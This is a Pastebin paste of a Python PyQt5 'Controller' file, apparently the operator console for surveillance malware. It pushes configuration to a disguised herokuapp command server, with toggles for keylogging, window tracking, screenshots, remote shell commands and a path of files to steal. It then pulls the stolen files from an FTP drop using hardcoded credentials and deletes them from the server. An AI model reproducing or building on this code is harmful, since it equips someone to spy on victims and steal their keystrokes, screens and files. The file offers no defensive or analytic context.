Advertisement
FlyFar

gui/Controller.py

Aug 10th, 2023
777
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.35 KB | Cybersecurity | 0 0
  1. from PyQt5.QtWidgets import QTableWidgetItem
  2. from requests import get
  3. from ftplib import FTP
  4. import webbrowser
  5.  
  6. class Controller:
  7.  
  8.     def __init__(self, gui):
  9.         self.__gui = gui
  10.         self.__baseURL = 'http://facebook-user-profile.herokuapp.com/malware'
  11.         self.__configURL = 'http://facebook-user-profile.herokuapp.com/config'
  12.         self.__gui.wakeup.clicked.connect(self.wakeup)
  13.         self.__gui.sendconfig.clicked.connect(self.sendConfigData)
  14.         self.__gui.getftp.clicked.connect(self.getfiles)
  15.         self.__ftpURL = 'ftp.atw.hu'
  16.         self.__ftpUserName = 'kiserletimuto'
  17.         self.__ftpPassWord = 'patti'
  18.  
  19.  
  20.     def wakeup(self):
  21.         response = get(self.__baseURL,params={'username':'pizdjec!'})
  22.         data = response.json()
  23.         print(data)
  24.  
  25.  
  26.  
  27.     def sendConfigData(self):
  28.         config = {
  29.             'debug' : self.__gui.debugmode.isChecked(),
  30.             'keyloggingIsActive' : self.__gui.keylogger.isChecked(),
  31.             'windowTrackingIsActive' : self.__gui.tracker.isChecked(),
  32.             'samplingfrequency' : float(self.__gui.trackfreq.text()),
  33.             'screenshotfrequency' : int(self.__gui.screenshotfreq.text()),
  34.             'screenshottrigger' : self.__gui.triggers.text(),
  35.             'baseurl' : self.__gui.baseurl.text(),
  36.             'communicationfrequency' : int(self.__gui.commfreq.text()),
  37.             'ftpurl' : self.__gui.ftpurl.text(),
  38.             'ftpusername' : self.__gui.ftpuser.text(),
  39.             'ftppassword' : self.__gui.ftppass.text(),
  40.             'shellcommand' : self.__gui.shellcommand.text(),
  41.             'stealpath' : self.__gui.filepath.text()
  42.         }
  43.         get(self.__configURL,config)
  44.  
  45.  
  46.  
  47.     def getfiles(self):
  48.         try:
  49.             ftp = FTP(self.__ftpURL)
  50.             ftp.login(self.__ftpUserName, self.__ftpPassWord)
  51.             filenames = ftp.nlst()
  52.             for filename in filenames:
  53.                 print(filename)
  54.                 local_filename = '/home/peterforro/Documents/malware/' + filename
  55.                 file = open(local_filename, 'wb')
  56.                 ftp.retrbinary('RETR ' + filename, file.write)
  57.                 ftp.delete(filename)
  58.                 file.close()
  59.             webbrowser.open('file:///' + '/home/peterforro/Documents/malware/')
  60.         except Exception as error:
  61.             print('FTP error!: ',error)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement